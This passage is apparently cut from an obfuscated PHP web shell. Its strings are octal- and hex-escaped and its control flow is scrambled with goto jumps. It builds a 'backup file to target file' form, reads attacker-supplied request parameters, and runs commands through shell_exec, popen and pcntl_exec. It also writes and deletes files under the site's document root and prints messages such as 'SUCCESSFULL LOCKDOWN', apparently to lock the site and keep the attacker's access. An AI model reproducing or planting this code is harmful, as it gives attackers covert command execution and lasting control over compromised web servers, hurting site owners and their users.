0\145\x3d\x22\x74\145\x78\x74\42\40\x6e\x61\155\x65\75\42\x74\x61\162\x67\145\164\x5f\x66\x69\x6c\145\61\42\40\x76\141\154\165\x65\75\42\x2f\x69\x63\157\x2f\x69\143\x6f\x6e\56\160\150\x70\x22\x20\x73\151\172\145\75\42\62\x30\x22\76\x3c\x2f\154\x69\76\xd\xa\x20\40\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\74\x6c\151\76\102\x61\143\153\x75\x70\40\x66\x69\154\145\74\x69\156\x70\165\x74\x20\x74\171\x70\x65\x3d\42\x74\x65\170\x74\42\40\156\x61\155\x65\x3d\x22\142\141\153\137\146\151\154\x65\62\42\x20\x76\x61\x6c\165\x65\x3d\x22\x2f\x69\143\157\x2f\x66\x69\x6c\x65\x66\x75\156\163\x2e\x70\150\x70\42\40\x73\151\172\x65\x3d\42\62\x30\42\x3e\40\55\55\76\x20\x54\141\x72\x67\145\x74\x20\146\x69\x6c\x65\74\x69\156\160\165\x74\40\x74\x79\160\145\75\42\x74\145\x78\x74\x22\x20\156\141\155\145\x3d\42\164\141\162\x67\145\x74\137\x66\x69\154\x65\62\42\x20\x76\x61\x6c\165\145\x3d\42\x2f\151\143\x6f\x2f\x66\151\154\x65\146\x75\x6e\163\56\160\150\x70\x22\x20\x73\x69\x7a\145\x3d\42\x32\x30\42\x3e\74\x2f\154\151\x3e\xd\xa\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\x3c\154\151\76\x42\x61\143\x6b\165\160\40\146\x69\x6c\145\74\x69\x6e\160\x75\x74\x20\164\x79\160\x65\x3d\42\x74\x65\170\164\x22\40\x6e\x61\155\145\75\x22\x62\x61\153\137\x66\x69\x6c\x65\x33\42\x20\x76\x61\154\x75\145\x3d\x22\x22\40\163\151\x7a\x65\75\42\62\x30\x22\x3e\x20\x2d\55\x3e\x20\x54\x61\162\147\x65\164\x20\x66\x69\154\145\74\x69\x6e\x70\165\164\x20\164\x79\x70\x65\x3d\42\164\x65\170\164\x22\x20\x6e\141\x6d\x65\75\42\164\141\x72\x67\x65\164\137\x66\x69\x6c\145\63\x22\x20\166\141\x6c\165\145\x3d\42\42\40\x73\151\172\x65\75\x22\62\60\42\x3e\74\x2f\154\x69\76\15\xa\40\40\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x3c\x6c\x69\76\x42\x61\x63\x6b\165\160\40\146\x69\x6c\145\74\151\156\x70\x75\164\x20\x74\171\x70\x65\x3d\42\x74\x65\x78\164\x22\x20\156\x61\155\145\75\42\142\141\153\137\146\151\x6c\x65\x34\x22\40\x76\141\154\x75\x65\75\x22\42\x20\x73\x69\x7a\x65\75\42\62\60\42\76\40\x2d\55\76\40\x54\141\x72\x67\x65\x74\x20\146\x69\x6c\x65\x3c\x69\156\x70\165\164\40\x74\x79\x70\145\75\42\x74\145\x78\164\42\x20\156\x61\x6d\145\x3d\42\164\141\x72\147\145\x74\x5f\x66\x69\154\x65\64\x22\x20\x76\x61\x6c\x75\x65\x3d\42\x22\x20\163\151\172\x65\x3d\42\x32\60\42\x3e\74\57\154\151\x3e\xd\12\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\x3c\154\x69\x3e\x42\x61\143\153\x75\x70\40\x66\x69\154\x65\74\151\156\x70\165\x74\x20\164\x79\x70\145\x3d\x22\164\145\x78\164\42\40\156\x61\155\145\75\42\x62\141\153\x5f\146\x69\154\145\65\42\40\x76\x61\x6c\165\145\75\42\42\40\163\x69\x7a\145\75\42\62\x30\42\x3e\x20\x2d\55\x3e\40\x54\x61\x72\x67\x65\x74\x20\x66\151\154\145\x3c\x69\x6e\160\x75\164\40\164\x79\x70\145\75\x22\x74\x65\170\164\x22\x20\156\x61\x6d\145\75\x22\x74\x61\162\x67\x65\x74\137\146\151\154\145\65\42\40\x76\141\x6c\x75\x65\x3d\x22\x22\40\163\x69\172\145\75\42\x32\x30\42\x3e\74\x2f\x6c\x69\76\xd\12\x20\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\x3c\x2f\157\x6c\76\15\12\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\74\x70\x3e\x3c\x69\156\x70\x75\x74\x20\x74\x79\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\x6e\x61\155\145\75\42\x73\165\142\x6d\x69\164\42\x20\x76\x61\154\165\145\75\x22\116\145\x78\164\42\40\x73\x74\171\154\x65\x3d\x22\167\x69\x64\x74\150\72\x31\x30\x30\x70\x78\73\150\145\151\147\x68\164\72\65\60\x70\170\73\x66\157\x6e\164\55\x73\151\172\x65\x3a\63\x30\160\x78\x3b\42\x3e\74\x2f\160\x3e\15\xa\40\40\x20\40\40\x20\x20\x20\40\x20\x20\40\74\x2f\x66\x6f\162\155\x3e"; goto rBm4R; criRs: s55Gq: goto niIDt; IMY4n: if (!($y0bjg == '')) { goto OZcM3; } goto YcJYB; ZONT0: pclose($ZNTLg); goto B6pcK; u08HC: gF_XB: goto VuxS0; nj3VP: if (!(isset($_POST["\142\141\x6b\x5f\x66\x69\x6c\x65" . $axYvl]) && isset($_POST["\164\141\x72\147\145\x74\137\x66\x69\x6c\145" . $axYvl]))) { goto y2nBf; } goto I_cU5; u1OuY: xAWZ6: goto N0NYl; Sei6l: $IXXKd = array(); goto niA4y; er6th: SjHpl(); goto ZBakO; DSqxF: file_put_contents($aT4O3, $y0bjg); goto kvW7e; PjqLi: if (!($axYvl <= 5)) { goto ymOsF; } goto nj3VP; niIDt: echo "\74\150\x31\40\x73\164\x79\154\145\75\x22\x63\x6f\154\157\162\x3a\x20\x23\60\x64\x66\146\60\x30\146\x66\73\40\x22\76\x20\74\142\x72\x3e\74\x62\162\76\74\142\x72\76\x3c\x62\162\76\x3d\43\x3d\75\43\x3d\75\43\75\75\x23\x3d\75\43\75\x3d\43\75\x3d\43\75\75\43\75\40\x53\x55\x43\103\x45\123\x53\106\125\114\x4c\x20\x4c\117\x43\113\x44\117\x57\116\x20\75\x23\75\x3d\x23\x3d\x3d\x23\75\75\43\75\x3d\x23\x3d\x3d\x23\x3d\x3d\x23\x3d\75\43\x3d\x3c\57\150\x31\x3e"; goto mh3W7; fhbhr: $ZPFja = ''; goto H97nc; euePq: if (!($ZPFja != '')) { goto tURLk; } goto KnvT9; IdNqq: function hD_nm() { goto X5zKt; zunFW: echo "\74\x62\162\x3e\x3c\142\x72\76\74\142\x72\76\x3c\x62\x72\76\74\150\61\40\163\164\171\154\x65\x3d\42\x63\157\154\157\x72\72\40\43\146\146\60\x30\60\60\146\146\73\40\x22\x3e\x20\x3d\x21\75\75\x21\75\75\41\75\75\x21\75\x3d\41\75\x3d\x21\75\x3d\x21\75\75\41\40\105\x58\x45\x43\125\x54\111\x4f\116\40\x46\101\111\x4c\105\x44\x2c\x20\123\127\111\124\x43\110\x49\116\107\x20\124\x4f\40\x48\x54\124\120\40\x4d\x45\x54\x48\117\x44\x20\75\x21\x3d\x3d\41\x3d\x3d\x21\75\x3d\x21\x3d\75\x21\x3d\x3d\41\x3d\75\41\75\x3d\41\x20\74\57\150\x31\76"; goto wH0Gw; hpgPO: iIfJb: goto Zaoxd; X5zKt: sleep(2); goto uMQhB; uMQhB: if (!is_file(__FILE__)) { goto iIfJb; } goto zunFW; wH0Gw: SJhpl(); goto hpgPO; Zaoxd: } goto lWI33; aE9Gg: shell_exec($RuyH0); goto WiRzq; KnvT9: $ZPFja = rtrim($ZPFja, "\54"); goto JG3wR; EgK98: unlink($y0bjg . "\57" . $He228); goto Xl6sc; tunTE: goto GHbAT; goto jf0vj; zDpKJ: OHx9O: goto DBBGU; DPpg1: zCaym: goto DJH5t; A2Or8: GHbAT: goto v0NYc; EWTOt: proc_close($ZNTLg); goto e8FSk; VEuNG: DguUP: goto leE_Y; YcJYB: echo "\x3c\142\162\x3e\74\x62\162\76\x3c\142\162\x3e\x3c\142\162\x3e\74\x68\x31\x20\163\164\x79\154\145\75\x22\143\157\154\157\x72\72\40\43\x66\x66\60\x30\60\60\x66\146\73\40\x22\x3e\40\x3d\x21\75\75\41\x3d\x3d\41\x3d\x3d\41\x3d\x3d\41\75\75\41\75\x3d\x21\75\x3d\41\40\104\117\x43\x20\122\x4f\117\x54\40\x41\x43\x51\x55\x49\123\x49\124\111\x4f\x4e\40\x46\x41\111\x4c\105\x44\x20\x2d\x2d\55\x20\x54\x48\111\x53\x20\120\122\x4f\107\122\x41\115\x20\x43\x41\116\116\x4f\124\x20\122\125\116\40\x4f\x4e\40\x54\110\111\123\40\x53\105\122\126\105\122\x44\40\x3d\x21\x3d\75\x21\75\x3d\x21\75\x3d\41\x3d\x3d\x21\x3d\x3d\x21\75\x3d\x21\75\75\x21\40\74\x2f\x68\x31\x3e"; goto uKCaN; Yuuuw: Hd_NM(); goto A2Or8; QnRXc: goto GHbAT; goto KXGx1; ZfvRJ: $h2ggL = $co5I3[0]; goto oFsN0; GPaD2: function rIl6E() { goto XX0B2; TrCV0: $MBsrD = ob_get_contents(); goto If_hO; eYTNo: preg_match("\57\55\55\160\162\145\146\x69\x78\75\50\x5b\136\x26\135\x2b\51\x2f\x73\151", $MBsrD, $r9cL4); goto Iz14s; jN2ax: return "\x70\150\160"; goto XEPl3; Q8qX_: NXl6W: goto eYTNo; ZxBMy: preg_match("\57\x2d\x2d\x62\151\x6e\x64\151\x72\x3d\50\x5b\136\46\135\53\x29\57\x73\151", $MBsrD, $r9cL4); goto MAfX6; Iz14s: if (isset($r9cL4[1])) { goto kGPbT; } goto jN2ax; XEPl3: kGPbT: goto uU4JN; If_hO: ob_end_clean(); goto ZxBMy; MAfX6: if (!(isset($r9cL4[1]) && $r9cL4[1] != '')) { goto NXl6W; } goto t3J9X; uU4JN: return $r9cL4[1] . "\x2f\x62\151\156\x2f\x70\x68\x70"; goto R1bwT; t3J9X: return $r9cL4[1] . "\57\160\x68\160"; goto Q8qX_; HYlgk: phpinfo(1); goto TrCV0; XX0B2: ob_start(); goto HYlgk; R1bwT: } goto Y_UWp; plzaJ: echo "\74\x62\x72\x3e\74\142\162\76\120\x52\117\103\x2d\105\40\130\x20\x43\40\x20\x45\130\121\124\104\x3c\x62\162\76" . $RuyH0; goto lUl1K; mh3W7: echo "\74\x62\x72\x3e\74\142\x72\76\x50\x41\x2d\x45\x20\130\40\x43\40\40\105\130\x51\124\104\74\142\162\76" . $RuyH0; goto bNNm6; Z2yWP: if (function_exists("\160\143\x6e\x74\154\x5f\x65\170\x65\x63")) { goto jAxQR; } goto FQk9u; IMGKT: $at1Ob = false; goto HpfZA; QXvFV: if (!($X3I0J === true)) { goto g2gTJ; } goto B4_BU; tuyrV: foreach ($Zukcn as $LHOSh) { $Vksl0 .= "\15\12\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x42\x61\143\153\x75\x70\x20\146\151\154\x65\x20" . $LHOSh["\x62\141\153"] . "\x20\x2d\x2d\76\x20\124\x61\x72\147\145\164\40\x66\x69\x6c\145\40" . $LHOSh["\164\x61\x72\x67\x65\x74"] . "\x20\74\142\162\57\x3e"; mcf5t: } goto FqYlI; siQIj: if ($_GET["\153"] == "\150\x74\x74\160\x5f\x6c\x6f\x63\153") { goto elylI; } goto d0T6y; rBm4R: $Vksl0 = ''; goto SU6be; BJJkS: yCDbv: goto Ji_Rr; ceO1C: if (!($_GET["\x6b"] == "\165\160\144\x61\164\145")) { goto xAWZ6; } goto fhbhr; lDIm7: if (!(substr($e5taZ, 0, 1) == "\x2f" && substr($RPAVc, 0, 1) == "\57" && strlen($e5taZ) > 1 && strlen($RPAVc) > 1)) { goto gJ3Wq; } goto bKxtI; noh5T: ignore_user_abort(true); goto kC6sC; u8xc3: if (function_exists("\x70\x6f\x70\x65\156")) { goto MYfZn; } goto qOrG8; KXGx1: WjMkz: goto rMxBk; Ue6BS: if ($_GET["\x75"] == "\x74") { goto jz_5u; } goto siQIj; rE6MW: qe1yL: goto pFair; LRGM2: echo "\74\x62\162\76\74\x62\x72\x3e\74\142\162\76\x3c\x62\x72\x3e\x3c\150\x31\40\163\164\x79\x6c\145\x3d\42\x63\x6f\x6c\x6f\162\72\40\43\x66\146\x30\60\x30\60\146\146\73\40\42\x3e\40\75\x21\75\x3d\41\x3d\x3d\x21\75\x3d\x21\x3d\75\x21\75\x3d\41\75\x3d\x21\75\75\41\40\102\101\x43\x4b\125\120\40\106\x49\x4c\105\x20\x43\101\x4e\40\x4e\x4f\124\40\102\x45\40\x4d\x41\104\105\x20\40\x4f\122\x20\x43\117\x4e\x54\105\x4e\x54\x20\x49\123\40\105\x4d\120\124\131\x21\x20\x3d\x21\x3d\x3d\41\x3d\x3d\x21\75\x3d\41\75\75\41\75\x3d\41\75\x3d\x21\75\x3d\41\40\x3c\57\150\61\76"; goto v2RE_; bZKAz: $tNsCB = __DIR__ . "\x2f" . md5("\163\145\163\x73\x69\x6f\x6e\x5f\164\157\x6b\145\x6e") . "\x2e\164\170\x74"; goto YtoVH; DBBGU: $y0bjg = $_SERVER["\x44\117\103\125\x4d\x45\x4e\124\137\x52\x4f\117\124"]; goto Yk2O3; DE2T1: MUQr2: goto ui2uP; d0T6y: $Iq8ZF = ''; goto WScZ_; JcgZQ: hd_nm(); goto yk1F2; dSjFZ: file_put_contents($y0bjg . "\x2f" . $He228, $qeMJL); goto E_JPb; R6Tjc: elylI: goto er6th; ui2uP: if ($_GET["\x6b"] == "\164") { goto GMbXd; } goto Ue6BS; UhbWw: $y0bjg = str_replace($h2ggL, '', $R9kcQ); goto XepGk; TOx8k: if (function_exists("\160\141\163\x73\x74\x68\162\x75")) { goto s55Gq; } goto u8xc3; qFxZa: OP0y6: